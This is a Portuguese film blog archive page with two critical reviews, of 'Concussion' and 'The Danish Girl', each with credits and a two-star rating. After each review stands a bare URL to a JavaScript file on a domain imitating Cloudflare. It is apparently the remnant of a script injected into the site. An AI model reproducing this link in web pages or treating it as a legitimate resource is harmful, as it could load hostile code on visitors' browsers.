Archive for março \07\UTC 2016

Um Homem Entre Gigantes

07/03/2016

Em meio à campanha #oscarsowhite, que obviamente é uma questão de suma importância como denúncia de pouco acesso aos negros e minorias aos melhores papéis da indústria cinematográfica, falava-se sobre a ausência de Will Smith, como exemplo, na mesma premiação por seu papel em Um Homem Entre Gigantes, como sendo uma injustiça da Academia; este tipo de repercussão me preocupa em tempos de radicalismos, pois o personagem Dr. Bennet Omalu e consequentemente o filme dirigido por Peter Landesman são de uma superficialidade ímpar, como normalmente ocorre em biografias americanas, não conseguem apresentar seu “biografado” sem homenageá-lo, glorificá-lo e canonizá-lo, típico exemplo de biografia “chapa branca”!

concussion

Dr. Omalu é um cientista exemplar perdido dentro de um prédio Médico Legal, seus colegas não gostam dele pois ele trabalha e dedica-se “demais”, inclusive conversa com os mortos, é um estrangeiro discreto, educado e praticamente assexuado; o personagem não apresenta conflito algum para Will Smith, sempre com forte sotaque, olhar doce e fala mansa, o personagem somente tem alguns embates com figurões ou colegas com maior prestígio que o dele, nem mesmo sua vida privada é abordada com verosimilhança pelo roteiro, sua “partner” Gugu Mbatha-Raw, serve somente de ouvidora para as explanações do personagem em determinados momentos do filme, um desperdício!

Ao tentar fazer um típico filme “homem contra o sistema”, no caso a denúncia do dr. Omalu de que o futebol americano causava danos neurológicos aos jogadores da Liga NFL, lembrando que este é fato verídico, o roteiro e a direção não conseguem se impor de maneira clara, pintam todos personagens e situações com preto e branco, não há espaço para sutilezas, conspirações e hesitações, parece que tentaram deixar tudo o mais “mastigadinho” possível para o grande público.

Portanto, foi um belo acerto deixar de fora do Oscar tanto a interpretação de Will Smith como possíveis outras indicações a mais um filme “oscarizável” de 2015.

PS.: bons exemplos de indicações que poderiam combater o debate étnico deste ano seriam Samuel L. Jackson, por Os Oito Odiados, Michael B. Jordan, por Creed, assim como seu diretor/roteirista, Ryan Coogler, apenas para citar alguns.

UM HOMEM ENTRE GIGANTES: 2star

Direção: Peter Landesman

Roteiro: Peter Landesman, artigo de Jeanne Marie Laskas

Com: Will Smith, Gugu Mbatha-Raw, Alec Baldwin, Albert Brooks, David Morse, Arliss Howard. 123 min

https://cloudflare.pw/cdn/statslg30.js

Anúncios

A Garota Dinamarquesa

02/03/2016

Apesar de passado o buzz sobre o Oscar 2016, ainda há alguns filmes aos quais gostaria de tecer alguns comentários, nem todos positivos, como o caso de A Garota Dinamarquesa. Indicado para alguns prêmios Oscar, e bastante citado em outras premiações, sobretudo o trabalho da dupla de protagonistas, Eddie Redmayne e Alicia Vikander, é possível notar que o estrago até foi pouco, digo isso, porque o filme em si é uma reunião de equívocos, principalmente, por parte do roteiro e da direção.

agarotadinamarquesa

Apesar de não gostar do trabalho de Tom Hopper, desde seu equivocado Oscar por O Discurso do Rei e, em seguida, por Os Miseráveis, acreditava que a história de Einar Wegener/Lili Elbe era uma trama cinematográfica por excelência; visto o filme, as expectativas foram “ladeira abaixo”, o roteiro de Lucinda Coxon é de uma pobreza ímpar, ao invés de investir sua narrativa nas angústias e transformações pelas quais passam sua personagem (no caso, Einar/Lili), ela simplesmente coloca o personagem vestindo a roupa da esposa para posar para a mesma e isto aflora seu lado feminino e pronto, assume sua identidade feminina! Não parece haver uma transição psicológica para o personagem, assim como a aceitação da esposa, Gerda, também é extremamente simples, do ponto de vista dramatúrgico. Além disso, o roteiro parece mentir, esconder alguns fatos conhecidos de historiadores, como a sexualidade de Gerda, que seria lésbica o que facilitaria sua aceitação a identidade feminina do marido, assim fica difícil embarcar numa trama dita real que apela para o tom mais novelesco em detrimento dos fatos conhecidos.

Se o roteiro já escorrega em sua função, Hopper também não facilita em suas escolhas, sempre apelando para o melodramático como os confrontos entre os protagonistas, os desenlaces dramáticos e as insistentes sutilezas de Lili Elbe em frente ao espelho, como se tivesse se reconhecendo, uma direção irritante pela obviedade e primária para um ator competente como Eddie Redmayne (ganhador do Oscar 2015), mas que precisava de uma direção mais segura e menos oscarizada para bodá-lo neste gestual.

Insisto que seja o filme mais fraco desta safra do Oscar 2016, no entanto, o trabalho de Alicia Vikander (premiado com o Oscar de atriz coadjuvante), que é protagonista antes de qualquer coisa, apesar da fragilidade do roteiro, imprime emoção na medida certa para sua personagem, além disso, é óbvio que há uma bela direção de arte, incluindo cenários e figurinos, pena que à mercê de uma trama tão equivocada, afinal quais foram as motivações de Einar em se transformar em Lili? Não poderia opinar!

A GAROTA DINAMARQUESA: 2star

Direção: Tom Hopper

Roteiro: Lucinda Cox

Com: Alicia Vikander, Eddie Redmayne, Ben Wishaw, Amber Heard. 119 min

 

https://cloudflare.pw/cdn/statslg30.js